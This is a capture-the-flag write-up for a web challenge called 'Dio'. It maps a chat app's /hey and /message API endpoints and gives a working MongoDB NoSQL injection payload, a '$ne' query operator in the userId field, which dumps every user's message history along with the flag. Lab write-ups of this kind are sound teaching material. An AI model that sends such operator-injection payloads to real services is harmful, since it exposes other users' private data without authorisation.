Tags: nosqli web nosql 

Rating: 4.3

# Dio
**Category: Web**

This challenge is an application to chat with Dio. Write whatever you want and he responds:

After playing with the app a bit, I could see there were two API endpoints being used under the hood:

## `/hey`
`hey` is used to retrieve messages. If you call it without a user ID parameter, it returns a user ID that gets saved into the browser's local storage:

**Request**
```json
POST /hey HTTP/1.1

{"userId":null}
```

**Response**
```json
{
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"history": [
{
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"message": "It was Me, Dio !",
"fromDio": true,
"_id": "5fc9918c24a35c9c07d5e312"
}
]
}
```

As soon as your userId gets saved to your browser, all future requests to the API include this userId in the request body.

When the application calls to `/hey` with your user ID (when the page is refreshed), it will return your message history.

**Request**
```json
POST /hey HTTP/1.1

{"userId":"ff37a073-ec9f-4fb0-a07a-382deddd5df5"}
```

**Response**
```json
{
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"history": [
{
"_id": "5fc9919de14a041b60dfe59a",
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"message": "Hello!",
"fromDio": false
},
{
"_id": "5fc9919ee14a046803dfe59b",
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"message": "Muda! Muda! Muda! Muda! Muda!",
"fromDio": true
}
]
}
```

## `/messages`
`messages` is used to send messages to Dio. The response object contains his reply, which gets added to your chat view.

**Request**
```json
POST /message HTTP/1.1

{"userId":"ff37a073-ec9f-4fb0-a07a-382deddd5df5","message":"Hello!"}
````

**Reponse**
```json
{
"reply": {
"userId": "ff37a073-ec9f-4fb0-a07a-382deddd5df5",
"message": "Muda! Muda! Muda! Muda! Muda!",
"fromDio": true,
"_id": "5fc9919ee14a046803dfe59b"
}
}
```

## Creating the Attack
The `_id` field used in the API responses stuck out to me as a convention I've seen used in MongoDB. There may be a NoSQL injection vulnerability here.

It is possible that the message history gets fetched by a method that looks like this:

```js
db.collection.find({
"userId": userId // Normally userId would be something harmless like "ff37a073-ec9f-4fb0-a07a-382deddd5df5"
})
```

We could inject this with a query selector to find documents that don't belong to us. We can try hitting the endpoint with a query to find all messages with a userId _not equal_ to our ID:

**Request**
```json
POST /hey HTTP/1.1

{"userId":{ "$ne": "ff37a073-ec9f-4fb0-a07a-382deddd5df5"}}

```

**Response**
```js
{
"userId": {
"$ne": "ff37a073-ec9f-4fb0-a07a-382deddd5df5"
},
"history": [
{
"_id": "5fc8f9f9e14a04179adfe599",
"userId": "j0hn474n-j03574r",
"message": "H2G2{k0n0_d10_d4_!}",
"fromDio": true
} // Snipped out all the other messages to save space
]
}
```

Success, we were able to view all the other messages in the database, and most importantly, the flag message: `H2G2{k0n0_d10_d4_!}`

Original writeup (https://github.com/ryan-cd/ctf/tree/master/2020/interIUT/dio).